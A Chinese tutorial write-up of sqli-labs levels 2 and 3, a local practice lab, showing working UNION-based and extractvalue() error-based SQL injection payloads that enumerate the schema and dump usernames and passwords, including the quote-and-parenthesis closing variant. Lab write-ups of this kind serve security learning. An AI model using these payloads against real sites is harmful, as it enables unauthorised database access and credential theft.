环境:本地环境,基于sqli-labs
1.sqli-labs第二关(基于get的整数型注入)
通过代码审计,或者回显可以看出,输入的内容被原封不动的带入到数据库中,这种也叫数字型注入
我这里其实是可以直接获取到用户名和密码,但是为了那些个小白呢,我从头开始吧
1.1 获取数据库
构造sql:
id=81 union select 1,2,database() -- +
1.2 获取数据库的表
构造sql:
?id=81 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() )-- +
1.3 获取user表里的字段信息
构造sql:
?id=81 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' ) -- +
1.4 获取users表里字段获取用户名和密码
构造sql:
?id=81 union select 1,2,(select group_concat(username,'::',password) from users) -- +
这里可以看到,用户名和密码了,结束了,再来看第二种方法,手工报错注入试试,主要是练习使用
另外的方法
构造sql:
?id=1 and extractvalue(1,concat(0x58,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('first_name','last_name')))) -- +
获取用户名和密码,和上面一样,这里就不截图了
2. sqli-labs第三关 get 下单引号变形引发的sql注入
经过测试和代码审计可以看出,输入1'时 会报错,出现了)这个,所以再一类构造参数时需要 加入 ')来闭合才能执行成功,有正常的回显
2.1 我这里就直接获取用户表里的列
构造sql
?id=-1' ) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') -- +
2.2 获取用户名和密码
构造sql:
?id=-1' ) union select 1,2,(select group_concat(username,0x23,password) from users) -- +
另外一种方法:使用extractvalue()来实现
构造sql
id=1' ) and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','fail') ))) -- +
获取用户名和密码
构造sql
?id=1' ) and extractvalue(1,concat(0x23,(select group_concat(username,0x23,password) from users ))) -- +
今天先写到这,有喜欢网络安全的小伙伴,可以一起交流学习哦,欢迎多多点赞和收藏哦!